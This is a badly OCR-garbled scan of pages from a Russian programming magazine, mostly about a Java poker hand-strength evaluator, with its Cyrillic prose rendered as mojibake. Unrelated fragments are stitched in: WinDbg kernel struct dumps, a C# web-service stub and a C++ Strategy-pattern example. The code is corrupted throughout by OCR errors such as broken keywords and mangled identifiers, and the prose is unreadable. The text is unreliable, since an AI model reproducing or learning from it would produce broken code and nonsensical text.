BXO,o,HOVi napawerp - MaCClIIS hand, S KOTOPOM xpaHlIITCs:I cruico« <apr. BbIXO,o,Hble napaverpu - MaC01Bbi card lnocroaucrea KapTI. suite (MacTlII KapTJ. suiteCount [KOn"4eCTSO <apr KalKAO" MaCT"!. B nepaon 4aCT" <PYHKLI,\IIlII npoucxonar npocras COpT\IIpOBKa 3aMeHoVi [MO>KHO 3aMeHI'1Tb ee Ha 6blCTPYfO COPTlIIPOBKYJ. TYT ec'n, ManeHbKlIIiI! HlOaHC - COPTIIlPYfOTC$l He caMIll xapru, a v\x AOCTO\llHCTBa. YTo6bl Y3HaTb ,o,OCTOIllHCTBO <apru. Hy>KHO Y3HaTb OCTaTOK OT AeneHlIIs:! Ha 13 . .Qanbwe, ecnV'1 ,o,OCTOV'1HCTBa xapr 0,0,\11- HaKOBbl, TO npoaepse«. L.lTo6bl kapru C 60nbwlIIM nOps:lAKOBbIM HOMepOM leapru, Y KOTOPblX HOMep MaCTt.1 fionsurel 6blnlll «neBee» «apr C MeHbWlIIM HOMepOM, nocne COpTV'1pOBKlII Bb14111Cns:ieM ,lJ,OCTOIilHCTBa xapr [MaCCt.18 card], MaCTt.1 <apr [MaCC\II8 suitel \II K0J1\114eCTBO «apr Ka>K,o,oill MaCT\II [MacC"S suiteCount!.

4>YHKU.MH copn1pOBK101 MaCCHBa xapr

void sortHand( .it l l hand, i.n t I ] card, int [] suite, .i n [) suiteCount) { for (~nt i = Oi i < harid v Lenq t.h , i++)

I or (int j = 0; j < hand.length - 1; j++) into t :

if (hand l j l % 13 < hand[j + 1] % 13) ( t=hand[i+l],

hand[j + 1] = hand[j],

hand[j] = t,

XAKEP 06 /137/10

in' getCombination('nl[] hand, in'[] board) int [] a l Lc ar-d :

; f ((board == null) I I (board. length == Oj l { allCard = new int [hand. length] , System.arraycopy(hand,O,allCard,O,hand.length) ,

} else \

allCard = new int[hand.length + board. length] , System.arraycopy(hand,O,allCard,O,hand.length) , System.arraycopy(board,O ,allCard,hand. length,

board. length} ,

inti] card = new int[allCard.length];

inti] suite = new i~t[allCard.length], int[] suiteCount = new int[4]; sortHand(allCard, card, suite, suiteCount); if (isRoyalFlush(card, suite, suiteCount

! = -I) return 117;

lnt result = isStraightFlush(card, suite, sui teCount) ;

if (result != -I) { r er urr, 104 + result;

result = isQuads(card); H (result r= -I) { retlrn 91 + result;

result = isFullHouse(card); if (result != -I) {

return 78 + result;

result = iSFlush(card, suite, suiteCount); it (result ! = -1) {

recurn 65 + result;

result = isStraight;card) i i r (result != -I) {

return 52 + result;

result = isSet(card); if (result i= -l) { reru n 39 + result;

result = isTwoPair(card) i if (result != -l) { relurn 26 + result;

result = isOnePair(card); if (result i= -I) { return 13 + result;

return isHighCard(card);

if ((hand[j] % 13 == he nd l j + 1] % 13) &&

(hand l j l < hand[j + 1]}) { t = hand[j + 1],

hand[j + 1] = handlj],

harrd l j ] = t .

}

~ 093

CODING

fa (int i :::: 0; i < hand. length; i++) { card[i] = hand[i] % 13;

suite[i] = hand[i] I l3; suiteCount(suite(i]]++;

PaCCMorpV1M aJlropv1TMbl or.penene+uts KOM6V1HaLl,V1iii (KO,lJ, npll1BOA~1Tb He 6YAY. TaK KaK OH ,lJ,OCTaTOl1HO TpV1BVlaJleH VI era acerna MD>KHO Ha~TV1 na A"CKei

isHighCard

Bo aapeutaet-r rrepeyo xap-ry MaCCMsa. isOnePair

11ru;eM nee O.llYIHaKOBbJe xap'ru , Y1,qyII{JIIe nonpsm , VI B03Bpa~a-

KapTa 3arrHCHBaeTCS ,1J;BYMH naTMHCKMMH CMMBonaMM. TIepsHw CMMBorr - .n;OCTOMHCTBO KapTN, BTOPOM - MaCTh. Kap-r-u OT 2 )];0 9 TaK M 3am1CblBaIOTC5I. T - nec srr-r, (XOT5I HHor,lJ;a M rrpOCTo 10) I J - BarreT, Q - ,lJ;aMa, K - KOPOITb I A - Ty3. Tpe<i>cr - c I TIJlIK11 - S I 6y6HbI - d I "IepSbl - h.

board .length) ;

i nc Ll card:::: new ~ It [allCard. length] ;

int (] suite:::: new i n t [allCard.length]; int[] suiteCount :::: new ':'nt [4]; sortHand(allCard, card, suite, suiteCount);

eM p;OCTOJiIHCTBO 3TJiIX xep'r . if (isRoyalFlush(card, suite, suiteCount) i= -1) {

iSTwoPair return 117;

IIIm;eM nee O):l!1HaKOBble xap'ru , !1.n;yID;Me nO):lp5I.IJ;, lII:w;eM e:w;e

):lEe O):lJiIHaKOBHX KapT~ M M3 .JJ;ByX ):IOCTOMHCTB 3TliIX KapT B03Bpam;aeM MaKcv~anbHoe.

isSet

Y1meM TPM omeaaxoaue xap-na. M.n;yITI;Me nO.Ilp5IJl, IiI aoaapautaeM JlOCTOJiIHCTBO 3TJiIX KapT.

isStraight

ITO.n;C"Y:MTbfBaeN, CKonbKO xep-r- ncnpsu; I1):1eT C y6b1BaHMeM .uOCTOMHCTBa. ECITJiI TaKJiIX KapT nRTb, TO B03Bpam;aeM ,UOCTOMHCTBO CTapmeH.

isFlush

ITpoBep5IeM, ~To6H 6b1ITO n5ITb KapT O,[(HOM MaCTliI, IiI 803- Bpam;aeM .n;OCTOMHCTBO CTapmeM KapTbI 3TOM MaCTM. isFu11House

Y1meM TPM xap'rta O,1J;HOrO ,rr,OCToIiIHcTBa M em;e nee O):l:VlHaKOaue ~apTbI. Boa apaute esr ,Il;OCTOMHCTBO 'rpex xap'r .

isQuads

ilIm;eM JJ;Be KapTbI O,Il;Horo .JJ;OCTOMHCTBa, B03Bpam;aeM .D;OCTOJiIHCTBO 3TJiIX KapT.

isStraightF1ush

TIpoBep5IeM, ~To6H 6b1flO TIHTb JiIITM 60nee KapT O.n;HOM

int result = isStraightF1ush(card, suite, sui teCount) ;

it (result 1= -1) { return 104 + result;

result = isQuads(card); i E (result ! = -1) ( return 91 + result;

result = isFullHouse{card); (result ! = -1) {

rellrn 78 + result;

result = isFlush(card, suite, suiteCountl; if (result l= -1) {

return 65 + result;

result = isStraight(card); if (result ! = -1) { return 52 + resul t;

MaCTM, M ~To6b1 3TH KapTH llinM no nOp5IAKY. B03Bpa~aeM

~OCTOMHCTBO CTapmeM KapT~. result = isSet(card);

isRoya1F1ush if (result 1:::;: -1) {

TIpOBep~eM, ~To6H B KOM6wHaQMw 6NflM Ty3, KOPOflb, AaMa, BaneT, 10, 9 O.n;HOM MaCTM. B03BpamaeM 12 (nOp5I.n;KoBblM

HOMep ~OCTOMHCTBa TY3a). result = isTwoPair(card) i

KCTan1, ew,e MO>KHO Onn1M1I13l!1pOBaTb ortpenene+u+e KOM6l!1HaLJ,V1L1 - COBMeCTlt1Tb npoaepxy HeCKOnbKl!1X KOM6l!1HaLJ,V1iii s OAHOtIJ CPYHKLJ,lIIV1 (Hanpl!1Mep, npcaepky Ha ABe napu 111 napyl. V13MeHII1Tb KOAV1pOB2HV1e lnpencraene-n-el xapr B nporpa-n-ie. nepeuecr« 3TV1 CPYHKU,VllI1 Ha C l!1 CKOMnl.1nlt1pOBaTb B native 6lt16nl!10TeKY VI T.A. Ho ace 3Tlt1 MeTOAbl YMeHbuia.or Harn~,aHOCTb Ko,aa, KpOMe Taro Hd AaHHbltIJ MOMeHT CKOPOCTb Bb141.1CneHlt1111 ancnae nOVleMneMa, n03TOMY noxa OCTa8n~eM ace KaK ecrs.

¢JYHKlV1R onpeAelleHHR CHllbl KOM6HHau,lotlot

. n- getCombination (int [J hand, inc [] board) { in! (J a11Card;

if (( board == null) I ( (board. length == 0)) allCard = new int[hand.length];

System. a r r aycopy (hand, 0, all Card , 0, hand . length) ;

) else {

allCard = new int[hand.length + board.length]; System arraycopy(hand,O,allCard,O,hand.length); System.arraycopy(board,O,aIICard,hand.length,

~ 094

ret~rn 39 + result;

if (result != -1) { return 26 + result;

result = isOnePair(card); if (result != -1) { returr 13 + result;

return isHighCard(card);

Ilancc cAenaeM CPYHKLJ,VlIO, KOTOpa5l aoaapauiaer a6COfllOTHYlO cuny <apro-rHOi1 KOM6!11HaLJ,V1V1 15l Ha3Ban ee getCombinationl. Bcero TaKl!1X pasuax no cune KOM6l!1HaW!II1I1 6Y,lJ,eT 118: AeB5lTb KOM6I11HaL\VlIl1 co CTapwVlM!II KapTaMl1 [no 13 CTapWl!1X «apr B Ka>K,ao~ KOM5V1HaLJ,VlV1]. !II OAHa KOM6!11HaL\l.15l 5e3 c-apure> «apru [¢new-pO~Jlb, B KOTOPOM crapurac «apra - scerna TY3]

- 9x13+ 1 = 118. XOT~ B KOM6!11HaLJ,lt1l!1 «ABe naps.» MO>KeT 6blTb ro.usxo 12 crapurax xapr (,aBoi1Ka B 3T0i1 KOM6lt1HaLJ,Vl!ll He MO>KeT $=ISflSHbC$=I crapureu], YT06bl He uapyura+e nOp5l,lJ,OK, Mbl 3TO He YY!I1TblsaeM. 3Ta CPYHKLJ,l!15l Hy>KHa Ans:! nccnenyioutero y.o.o6Horo cpaSHeHI.15l KOM6V1HaLJ,l!1i1 Me>KAY c060i1 - OHa aosapauiaer 4l!1cno, !II lIeM OHO 6onbwe, TeM C!IInbHee KOM6l!1HaLJ,!I1s:!.

XAKEP 06 /137/ 10

«SI HanMCan npOCTOH KanbKynHTop,

..

KOTOPblM Ha OCHOBe xapr Ha pYKaX

M Ha crane. a TaK>Ke KonMlIeCTBe MrpoKOB BblllMcnHeT BepOHTHOCTb BblMrpblwa. TaKMX KanbKYnHTopOB B eeTM MHoro M OHM 60nee lIlYHKUMOHanbHbl»

KaK BII1,lJ,HO 1113 xona. cua-rana CPYHKLJ,t.1s:1 cxna,lJ,blBaeT <apru Ha PYKax Itt KapTbl Ha Clone

B O)J,lt1H MaCCV18, nOTOM coprupyer era, a

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XAKEP 06 /137/ 10

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XAKEP 06 /137/10

.======~"""""""""""""""L- ~

Ikd> dt nt!_VACB Ox86faceOO

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+Ox008 Overlay _unnamed

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DataSectionObject

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XAKEP 06 /137/10

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XAKEP 06 /137./10

Ikd> dt _File_object nt._FILE_OBJECT +OxOOO +Ox002 +Ox004 +Ox008 +OxOOc +Ox010

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[WebMethod]

public string startScan(string domen)

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const;

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class GameCharacter

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int healthValue () const

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np&.1Mep narrepua «Crpareraa» / / onepeaeonee OnJ.1CaHJ1e class GameCharacter;

1/ 9YHKUMH no YMOJ1'iaHlIIJO nna Bbl"!11cneHI1R iiu13HeHHQM C11JIh\ int defaultHealthCalc(canst GarneCharacter&);

class GarneCharacter { public:

typedef int (*HealthCalcFunc) (canst GameCharacter&) i

explicit GameCharacter(HealthCalcFunc hc f 0 defaultHealthCalcl

healthFunc (hcE I {}

int healthValue() canst {return healthFunc (*this);}

private:

HealthCalcFunc healthFunci

l :

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